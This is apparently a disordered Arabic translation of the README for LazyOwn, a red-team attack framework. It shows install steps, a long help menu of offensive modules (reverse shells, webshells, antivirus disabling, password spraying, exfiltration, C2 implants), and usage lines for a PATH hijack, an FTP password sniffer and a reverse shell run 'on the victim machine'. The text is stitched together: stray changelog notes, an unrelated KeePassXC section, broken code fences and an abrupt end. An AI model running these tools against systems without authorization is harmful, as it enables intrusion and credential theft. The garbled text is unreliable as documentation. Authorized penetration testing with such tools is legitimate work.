• مفاتيح API المرتبطة بالمستأجر: core/api_authz.py الآن ينفذ نافذة السماح للتدوير الموثّقة، وينسخ الأذونات من المفتاح المدوّر (تم إصلاح الانحدار)، ويعيد JSON 401/403 (آمن مع TRAP_HTTP_EXCEPTIONS)، ونقطة نهاية C2 /api/health/tenant مفروضة فعليًا. بوابة الطفرة: tests/run_mutation_api_authz.py (7/7 مقتولة).
• core/logging.py install_json_handler يحافظ على المعالجات الموجودة مسبقًا وهو idempotent.
• مزامنة ELO المهيكلة تحترم مسارات مخزن المستخدم المعاد توجيهها والاختبارات مستقلة عن تسجيل دخول المضيف.

تقوية الأمان (SDD+TDD+BDD)

بدائيات أمان مركزية في core/hardening.py مع 48 اختبارًا بأسلوب BDD (tests/test_security_hardening_v3.py). شغّلها بـ:```bash pytest tests/test_security_hardening.py tests/test_security_hardening_v2.py tests/test_security_hardening_v3.py -v mutmut run # 122/228 killed, 53.5% kill rate on core/hardening.py

عند بدء تشغيل التطبيق، سيقوم بتنفيذ init_plugins.lua، الذي يحمّل جميع ملفات .lua الأخرى في دليل plugins/.

2. كتابة إضافات Lua إضافة Lua هي ملف نصي بامتداد .lua موضوع في دليل plugins/. يمكن لكل إضافة تعريف دوال وتسجيلها كأوامر في الصدفة.

بنية إضافة Lua ```lua -- Define a function for the new command function my_command(arg) -- Your logic here print("This is a new command: " .. (arg or "default")) end

الآن، يمكنك تشغيل أمر hello في الصدفة: bash hello Lua Hello, Lua! 4. أفضل الممارسات

• حافظ على وحدات الإضافات : يجب أن تركز كل إضافة على ميزة أو وظيفة واحدة.
• وثّق إضافاتك : قدّم توثيقًا واضحًا لكل إضافة، بما في ذلك أمثلة الاستخدام.
• اختبر بشكل شامل : اختبر إضافاتك بمعزل عن غيرها قبل دمجها في التطبيق الرئيسي.
• تعامل مع الأخطاء بلطف : استخدم pcall للتعامل مع الأخطاء في إضافات Lua ومنع الأعطال.

من خلال الاستفادة من برمجة Lua، يمكنك توسيع وظائف LazyOwnShell دون تعديل كود Python الأساسي. يتيح ذلك مرونة وتخصيصًا أكبر، مما يمكّن المستخدمين من كتابة إضافاتهم الخاصة لتلبية احتياجات محددة. برمجة سعيدة!

نظام LazyAddons YAML

لم يكن توسيع قدرات إطار LazyOwn RedTeam بهذه السهولة من قبل، حتى لغير المبرمجين، بفضل نظام LazyAddons الذي يسمح بتوسيع الوظائف باستخدام ملفات YAML.

إنشاء أوامر تصريحية من خلال ملفات تكوين YAML.

هيكل الملفات

lazyaddons/ ├── addon1.yaml ├── addon2.yaml └── example.yaml

🛠️ تعريف الإضافة

مثال بسيط```yaml

name: "shortname" # CLI command (do_shortname) enabled: true description: "Tool description for help system"

tool: name: "Full Tool Name" repo_url: "https://github.com/user/repo" install_path: "tools/toolname" execute_command: "python tool.py -u {url}"

الميزات التثبيت التلقائي يتم استنساخ الأدوات من Git عند فقدانها:```bash git clone <repo_url> <install_path>

▶️ الاستخدام ضع ملفات YAML في lazyaddons/

ابدأ تطبيق CLI الخاص بك

نفّذ الأوامر المسجّلة:```bash (Cmd) help your_command (Cmd) your_command -args

LazyOwn مثالي لمتخصصي الأمن السيبراني الذين يبحثون عن حل مركزي ومؤتمت لاحتياجاتهم في اختبار الاختراق، مما يوفر الوقت ويعزز الكفاءة في تحديد واستغلال الثغرات الأمنية.

المتطلبات

• Python 3.x

• وحدات Python:

  • requests
  • python-libnmap
  • pwncat-cs
  • pwn
  • groq
  • PyPDF2
  • docx
  • python-docx
  • olefile
  • exifread
  • pycryptodome
  • impacket
  • pandas
  • colorama
  • tabulate
  • pyarrow
  • keyboard
  • flask-unsign
  • name-that-hash
  • certipy-ad
  • ast
  • pykeepass
  • cmd2
  • Pillow
  • netaddr
  • stix2
  • pyautogui

• subprocess (مضمّن في المكتبة القياسية لـ Python)

• platform (مضمّن في المكتبة القياسية لـ Python)

• tkinter (اختياري لواجهة المستخدم الرسومية)

• numpy (اختياري لواجهة المستخدم الرسومية)

التثبيت

1. استنسخ المستودع:```sh git clone https://github.com/grisuno/LazyOwn.git cd LazyOwn

الاستخدام

```sh ./run or ./fast_run_as_r00t.sh

./run --help [;,;] LazyOwn vvvrelease/0.2.8 Usage: ./run [Options] Options: --help Show this help panel. -v Show version. -p <payloadN.json> Exec with different payload.json example. ./run -p payload1.json, (Special for RedTeams) -c Exec a command using LazyOwn example: ping --no-banner No Banner -s Run as root --old-banner Show old Banner

./fast_run_as_r00t.sh --vpn 1 (the number id of your file in vpn directory)

الاستخدام

الميزات

• دعم بروتوكولات متعددة: HTTP/HTTPS، SOCKS4، SOCKS5
• التحقق من صحة الوكلاء: فحص تلقائي للوكلاء العاملين
• تعدد الخيوط: معالجة سريعة باستخدام خيوط متعددة
• تصدير النتائج: حفظ الوكلاء العاملين في ملف
• دعم المصادقة: دعم الوكلاء الذين يتطلبون اسم مستخدم وكلمة مرور

الاستخدام

الخيارات

الترخيص

هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للتفاصيل.``` Use assign to configure parameters. Use show to display the current parameter values. Use run <script_name> to execute a script with the set parameters. Use exit to exit the CLI.

Once the shell is running, you can use the following commands:

list: Lists all LazyOwn Modules. assign : Sets the value of a parameter. For example, assign rhost 192.168.1.1. show: Displays the current values of all parameters. run

┌─[👤grisun0 (LazyOwn👽kali) ~/home/grisun0/LazyOwn][127.0.0.1][http://VariaType.htb] 🌐192.168.1.120 ✗ feature/lazyllmchat-assistant (🐍env) └╼ $ help

1. Reconnaissance ────────────────── alterx finalrecon ping trace
   apache_users getcap ports trufflehog
   binarycheck gospider proxy tshark_analyze
   cve graudit recon waybackmachine
   dig httprobe serveralive2 whatweb
   dnschef ipinfo sherlock windapsearchscrapeusers dnsenum launchpad sslscan
   dnsmap metabigor tcpdump_capture dnstool_py openssl_sclient tcpdump_icmp

2. Scanning & Enumeration ────────────────────────── ad_ldap_enum enum4linux_ng nbtscan rpcdump wpscan allin evil_ssdp net_rpc_addmem rpcmap_py
   amass feroxbuster netexec samrdump
   arjun finger_user_enum netview sawks
   arpscan fuzz nikto sessionssh
   batchnmap getnpusers nmapscript skipfish
   bbot gobuster nuclei smbattack
   blazy hound odat smbclient
   bloodhound kerbrute openredirex smbclient_impacket breacher lazynmap osmedeus smbclient_py
   certipy ldapdomaindump parsero smbmap
   certipy_ad ldapsearch parth smtpuserenum
   changeme lookupsid portdiscover snmpcheck
   cme lookupsid_py portservicediscover snmpwalk
   davtest loxs pre2k swaks
   dirsearch lynis pykerbrute vscan
   dmitry magicrecon rdp_check_py wfuzz
   enum4linux mqtt_check_py rpcclient windapsearch

3. Exploitation ──────────────── aclpwn_py gettgtpkinit_py psexec sqlmap
   addspn_py greatSCT psexec_py sqsh
   autoblody img2cookie py3ttyup ss
   cacti_exploit jwt_tool pyautomate sshexploit
   commix krbrelayx_py pyoracle2 template_helper_serializer cp kusa pywhisker ticketer
   createcookie lazypwn rejetto_hfs_exec unicode_WAFbypass
   createdll lfi rev upload_bypass
   digdug lol seo utf
   download_exploit ms08_067_netapi sharpshooter winbase64payload
   downloader ntpdate shellfire wrapper
   eternal owneredit shellshock www
   excelntdonut padbuster sireprat xss
   filtering powerserver sqli xsstrike
   gets4uticket_py printerbug_py sqli_mssql_test

4. Post-Exploitation ───────────────────── add2find exe2bin pezorsh
   adversary exe2donutbin pip_proxy
   adversary_yaml extract_yaml pip_repo
   aes_pe find powershell_cmd_stager ai_playbook follina rmfromfind
   apt_proxy hex2shellcode rubeus
   apt_repo internet_proxy scavenger
   atomic_lazyown issue_command_to_c2 scp
   bin2shellcode lazywebshell service_ssh
   convert_remcomsvc_from_file mimikatzpy sessionsshstrace
   cports msfshellcoder shellcode
   create_synthetic ofuscate_string shellcode2elf
   createpayload ofuscatesh shellcode2sylk
   d3monizedshell ofuscatorps1 shellcode_search
   disableav path2hex ssh_cmd

5. Persistence ─────────────── asprevbase64 ftp msfpc setoolKits backdoor_factory generate_revshell paranoid_meterpreter ssh
   conptyshell grisun0 pwncat toctoc
   createrevshell grisun0w pwncatcs veil
   createwebshell ivy rdp weevely
   createwinrevshell knokknok revwin weevelygen darkarmour listener_go scarecrow
   dr0p1t listener_py service

6. Privilege Escalation ──────────────────────── responder smbserver

7. Credential Access ───────────────────── addusers cred john2hash rocky
   adsso_spray creds_py john2keepas searchhash
   cewl crunch john2zip smalldic
   crack_cisco_7_password cubespraying keepass spraykatz
   createcredentials dacledit medusa sshkey
   createhash generatedic passtightvnc sudo
   createmail hashcat passwordspray transform
   createusers_and_hashs hydra refill_password username_anarchy

8. Lateral Movement ──────────────────── addcli id_rsa penelope sshd wifipass
   bloodyAD lateral_mov_lin regeorg stormbreaker wmiexec
   chisel ligolo rnc targetedKerberoas wmiexecpro dcomexec mssqlcli set_proxychains tord
   getTGT nc shadowsocks upload_c2
   gospherus ngrok socat vpn

9. Data Exfiltration ───────────────────── adgetpass dploot evilwinrm getuserspns reg_py secretsdump
   decrypt encrypt getadusers gitdumper rsync unzip
   download_c2 evidence getnthash_py gmsadumper samdump2 upload_gofile

10. Command & Control ───────────────────── atomic_agent automsf emp3r0r mitre_test sliver_server atomic_gen c2 empire msf
    atomic_tests caldera generate_playbook msfrpc
    attack_plan duckyspark iis_webdav_upload_asp my_playbook

11. Reporting ───────────── apropos createtargets gpt process_scans banners download_malwarebazar groq pth_net
    c2asm extract_ports img2vid pup
    camphish eyewitness malwarebazar vulns
    create_session_json eyewitness_py morse
    createjsonmachine get_avaible_actions name_the_hash createjsonmachine_batch gowitness nmapscripthelp

12. Miscellaneous ───────────────── acknowledgearp clone_site getseclist links run
    acknowledgeicmp cron graph list sh
    addhosts decode h load_session show
    aliass download_resources hex_to_plaintext nano sys
    assign encode ignorearp news tab
    banner encoderpayload ignoreicmp payload urldecode base64decode encodewinbase64 ip pwd urlencode base64encode exit ip2asn qa v
    check_update fixel ip2hex rhost
    clean fixperm kick rot
    clock gencert lazyscript rotf

13. Lua Plugin ────────────── generate_c_reverse_shell lolbas_certutil_download_exec generate_cleanup_commands lolbas_certutil_exe
    generate_html_payload lolbas_mshta_js
    generate_lateral_command lolbas_mshta_reverse_shell
    generate_linux_asm_reverse_shell lolbas_rundll32_dll
    generate_linux_raw_shellcode lolbas_wmic_xsl_execution
    generate_lolbird parse_nmap_with_xmlstarlet
    generate_msfvenom_loader run_nuclei_on_nmap_files
    generate_msfvenom_loader_windows run_python_rev_c2
    generate_reverse_shell rundll32_sct_from_url
    generate_stub validate_shellcode
    kerberos_harvest visualize_network
    lolbas_bitsadmin_exe

14. Yaml Addon. ─────────────── AdaptixC2 GoPEInjection OverRide agentzero gosearch peeko argfuscator gui pretender ATTPwn gui2 PTMultiTools AuroraPatch hack_browser_data PTMultiTools_scan banner_tool hellbird PyinMemoryPE bbr hive pyrit beacon hooka_linux_amd64 raven blacksandbeacon hostdiscover ridenum blacksandbeacon_bof kivi_revshell setoolkit cgoblin_windows laps ShadowLink Clematis lazyaddon_creator shellcode_custom_win_rev_tcp_xored commix2 lazyagentAi SigPloit copy-fail-CVE-2026-31431 lazybinenc spoonmap CVE-2022-22077 lazyftpsniff stratus_detonate CVE_2025_24071_PoC LazyLoader stratus_list demiguise lazymapd toposwarm ebird3 lazyownbt unicorn evilginx2 LazyOwnExplorer upxdump gcr llm vulnbot gemini-cli NullGate vulnbot_groq gen_dll_rev oniux vulnhuntr Get_ReverseShell opencode_adapter watchguard githubot orpheus wspcoerce gomulti_loader_linux gomulti_loader_windows

15. Adversary YAML. ─────────────────── amsi_c implant_nim_nim infect_c pid_c
    implant_crypt_go implant_rust_rs persist_ps1 shell_c

16. Artificial Intelligence ─────────────────────────── ai_toggle

Uncategorized Commands ────────────────────── addalias gobuster_dns ipy ollama_enum set
alias gobuster_http listaliases pop shell
edit gobuster_web macro quit shortcuts
EOF help nikto_host rrhost subwfuzz_tool ffuf_enumeration history notify run_pyscript ffuf_tool ipp nuclei_ad_http run_script

┌─[👤grisun0 (LazyOwn👽kali) ~/home/grisun0/LazyOwn][127.0.0.1][http://VariaType.htb] 🌐192.168.1.120 ✗ feature/lazyllmchat-assistant (🐍env) └╼ $

للبحث داخل قاعدة البيانات المستخرجة من GTFOBins.```sh python3 lazysearch.py binario_a_buscar

```sh python3 lazyown.py

وضع استخدام LazyOwn WebShells

مجموعة LazyOwn Webshell هي مجموعة من الـ webshells لإطار العمل الخاص بنا، والتي تتيح لنا إنشاء webshell على الجهاز الذي نشغّل عليه LazyOwn باستخدام لغات برمجة متعددة. في الأساس، يقوم LazyOwn Webshell بتشغيل خادم ويب داخل دليل modules، مما يجعله متاحًا عبر متصفح الويب. وهذا يتيح لنا إتاحة الوحدات بشكل منفصل عبر الويب والوصول إلى دليل cgi-bin، حيث توجد أربع shells: واحدة بـ Bash، وأخرى بـ Perl، وأخرى بـ Python، وواحدة بـ ASP، في حال كان الهدف جهاز Windows.```sh lazywebshell

نظام القيادة والتحكم

يتيح نظام القيادة والتحكم (C2) العمليات عن بُعد من خلال بنية خادم-عميل مع اتصالات مشفرة.

استخدام اختطاف PATH الكسول

سيتم إنشاء ملف في /tmp باسم binary_name المحدد في الحمولة، وتهيئته باستخدام gzip في الذاكرة، واستخدام bash في الحمولة. لتعيين الحمولة من JSON، استخدم أمر payload للتنفيذ. استخدم:```sh lazypathhijacking

وضع الاستخدام Lazy Meta Extract0r

LazyMeta Extract0r هي أداة مصممة لاستخراج البيانات الوصفية من أنواع مختلفة من الملفات، بما في ذلك PDF و DOCX وملفات OLE (مثل DOC و XLS)، والعديد من صيغ الصور (JPG، JPEG، TIFF). ستقوم هذه الأداة بالمرور عبر دليل محدد، والبحث عن الملفات ذات الامتدادات المتوافقة، واستخراج البيانات الوصفية، وحفظها في ملف إخراج.

[*] Iniciando: LazyMeta extract0r [;,;]

usage: lazyown_metaextract0r.py [-h] --path PATH lazyown_metaextract0r.py: error: the following arguments are required: --path```sh python3 lazyown_metaextract0r.py --path /home/user

استخدام وضع LazyNmap

يوفر استخدام Lazynmap سكريبتًا آليًا لهدف ما، في هذه الحالة، 127.0.0.1، باستخدام Nmap. يتطلب السكريبت صلاحيات إدارية عبر sudo. كما يتضمن وحدة اكتشاف الشبكة لتحديد ما هو موجود في مقطع IP الذي تتواجد فيه. بالإضافة إلى ذلك، يمكن الآن استدعاء السكريبت بدون معاملات باستخدام الاسم المستعار nmap أو بالأمر run lazynmap.

```sh ./lazynmap.sh -t 127.0.0.1 # or in the cli just nmap

استخدام lazyown_bprfuzzer.py

قدّم الوسائط كما هو محدد في طلبات السكربت: سيتطلب السكربت الوسائط التالية:

usage: lazyown_bprfuzzer.py [-h] --url URL [--method METHOD] [--headers HEADERS] [--params PARAMS] [--data DATA] [--json_data JSON_DATA] [--proxy_port PROXY_PORT] [-w WORDLIST] [-hc HIDE_CODE] --url: عنوان URL الذي سيُرسل إليه الطلب (مطلوب). --method: طريقة HTTP المراد استخدامها، مثل GET أو POST (اختياري، الافتراضي: GET). --headers: ترويسات الطلب بصيغة JSON (اختياري، الافتراضي: {}). --params: وسائط URL بصيغة JSON (اختياري، الافتراضي: {}). --data: بيانات النموذج بصيغة JSON (اختياري، الافتراضي: {}). --json_data: بيانات JSON للطلب بصيغة JSON (اختياري، الافتراضي: {}). --proxy_port: المنفذ للوكيل الداخلي (اختياري، الافتراضي: 8080). -w, --wordlist: مسار قائمة الكلمات لوضع الـ fuzzing (اختياري). -hc, --hide_code: رمز حالة HTTP المراد إخفاؤه في المخرجات (اختياري). تأكد من تقديم الوسائط المطلوبة لضمان تشغيل السكربت بشكل صحيح.```sh python3 lazyown_bprfuzzer.py --url "http://example.com" --method POST --headers '{"Content-Type": "LAZYFUZZ"}'

التهديدات

• الوصول غير المصرح به: قد يحاول المهاجمون الوصول إلى بيانات اعتماد SSH الخاصة بك.
• هجمات القوة الغاشمة: قد تحاول البرامج الضارة تخمين كلمة المرور الرئيسية الخاصة بك.
• هجمات الرجل في المنتصف: قد يعترض المهاجمون اتصالات SSH الخاصة بك.
• هجمات الهندسة الاجتماعية: قد يتم خداعك للكشف عن كلمة المرور الرئيسية الخاصة بك.

أفضل الممارسات

• استخدم كلمة مرور رئيسية قوية: استخدم مزيجًا من الأحرف الكبيرة والصغيرة والأرقام والرموز.
• فعّل المصادقة الثنائية: استخدم تطبيق مصادقة أو مفتاح أمان للأجهزة.
• احتفظ بنسخ احتياطية من مخزن المفاتيح الخاص بك: قم بعمل نسخ احتياطية منتظمة لمخزن المفاتيح الخاص بك.
• كن حذرًا من هجمات التصيد الاحتيالي: لا تكشف أبدًا عن كلمة المرور الرئيسية الخاصة بك أو عبارة المرور لأي شخص.
• حدّث KeePassXC بانتظام: حافظ على تحديث KeePassXC للحصول على أحدث ميزات الأمان.

الخلاصة

KeePassXC هو مدير كلمات مرور قوي وآمن يمكن أن يساعدك في إدارة بيانات اعتماد SSH الخاصة بك. باتباع أفضل الممارسات وتجنب المخاطر الشائعة، يمكنك استخدام KeePassXC بأمان لحماية مفاتيح SSH الخاصة بك.```sh python3 lazyown_bprfuzzer.py \ ─╯ --url "http://127.0.0.1:80/LAZYFUZZ"
--method POST
--headers '{"User-Agent": "LAZYFUZZ"}'
--params '{"param1": "value1", "param2": "LAZYFUZZ"}'
--data '{"key1": "LAZYFUZZ", "key2": "value2"}'
--json_data '{"key3": "LAZYFUZZ"}'
--proxy_port 8080
-w /usr/share/seclist/SecLists-master/Discovery/Variables/awesome-environment-variable-names.txt \

استخدام وضع LazyOwn FTP Sniff

تُستخدم هذه الوحدة للبحث عن كلمات المرور على خوادم FTP عبر الشبكة. قد يقول البعض إن FTP لم يعد مستخدمًا، لكنك ستُفاجأ ببيئات البنية التحتية الحيوية التي رأيتها تعمل فيها خدمات FTP ضخمة على خوادمها. :)```sh assign device eth0 run lazyftpsniff

ثم على الجهاز الضحية```sh ./lazyreverse_shell.sh --ip 127.0.0.1 --puerto 1337

ثم```sh ./lazycurl.sh --mode GET --url http://10.10.10.10

POST:```sh ./lazycurl.sh --mode POST --url http://10.10.10.10 --data "param1=value1&param2=value2"

وضع القوة الغاشمة لقائمة الكلمات:```sh ./lazycurl.sh --mode BRUTE_FORCE --url http://10.10.10.10 --wordlist /usr/share/wordlists/rockyou.txt

استخدام وضع LazyGathering

يوفر هذا السكربت عرضًا بالأشعة السينية للنظام المعني حيث يتم تنفيذ الأداة، مما يقدم رؤى حول تكوينه وحالته.

```sh run lazygath

استخدام وضع LazyOwn Sniffer

https://www.youtube.com/watch?v=_-DDiiMrIlE

يتيح وضع الاعتراض (sniffer) التقاط حركة مرور الشبكة عبر الواجهات باستخدام الخيار -i، وهو إلزامي. هناك العديد من الإعدادات الاختيارية الأخرى التي يمكن تعديلها حسب الحاجة.

الاستخدام```bash

usage: lazysniff.py [-h] -i INTERFACE [-c COUNT] [-f FILTER] [-p PCAP] lazysniff.py: error: the following arguments are required: -i/--interface

To use the sniffer from the framework, you must configure the device with the command: